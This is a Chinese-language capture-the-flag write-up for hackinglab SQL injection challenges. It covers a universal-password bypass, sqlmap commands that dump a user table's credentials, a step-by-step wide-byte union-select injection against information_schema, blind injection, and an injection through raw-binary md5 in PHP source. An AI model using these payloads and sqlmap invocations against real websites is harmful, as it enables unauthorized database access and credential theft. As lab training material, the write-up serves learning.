hackinglab-注入关部分
【最简单的sql注入】
题目地址
输入万能密码 admin' or 1=1#即可
【到底能不能回显】
小明经过学习,终于对SQL注入有了理解,她知道原来sql注入的发生根本原因还是数据和语句不能正确分离的原因,导致数据作为sql语句执行;但是是不是只要能够控制sql语句的一部分就能够来利用获取数据呢?小明经过思考知道,where条件可控的情况下,实在是太容易了,但是如果是在limit条件呢?
题目地址
有两个参数?start=0&num=1
把start参数中的0改为1,页面有变化,说明是一个可回显参数。
sqlmap -u 网址 -p 'start' --batch --tamper="commalesslimit.py" --threads 10 --dbs
没什么说的,都是sqlmap的日常操作
最后是sqlmap -u 网址 -p 'start' --batch --tamper="commalesslimit.py" --threads 10 -T user -C username,password --dump
得到flag
【邂逅】
这道题的注入点很隐蔽。。是图片宽字节注入,而且只能抓包修改。
?'【%bf%27】
?' order by 1 #
?' order by 5 #报错【%DF%27%20order%20by%205%20%23】
?' union select 1,2,3,4 #【%bf%27 union select 1,2,3,4 %23】
?' union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema=database() #
【%bf%27 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema=database() %23】
得到两个表:article,pic
?' union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name=0x706963 #
【%bf%27 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name=0x706963 %23】
查看pic表里的内容
?' union select 1,2,group_concat(picname,0x3b),4 from pic #
【%bf%27 union select 1,2,group_concat(picname,0x3b),4 from pic %23】
最后得到flagishere_askldjfklasjdfl.jpg
访问即可得到flag图片。
【盲注】
题目地址
提示username是参数,username=1'报错。
接下来拿sqlmap一把梭就ojk。
【据说哈希后的密码是不能产生注入的】
题目地址
第一步先查看源代码,发现重要的一行:
$strsql="select * from `user` where userid=".intval($_GET['userid'])." and password='".md5($_GET['pwd'], true) ."'";
其中md5($_GET['pwd'], true)很有意思,跟进看一下md5()函数
也就是说,这道题里的md5不是普通意义的md5,是原始 16 字符二进制格式的。
语句就变成了:
select * from `user` where userid="admin" and password='"'or'xxxxxxxx"'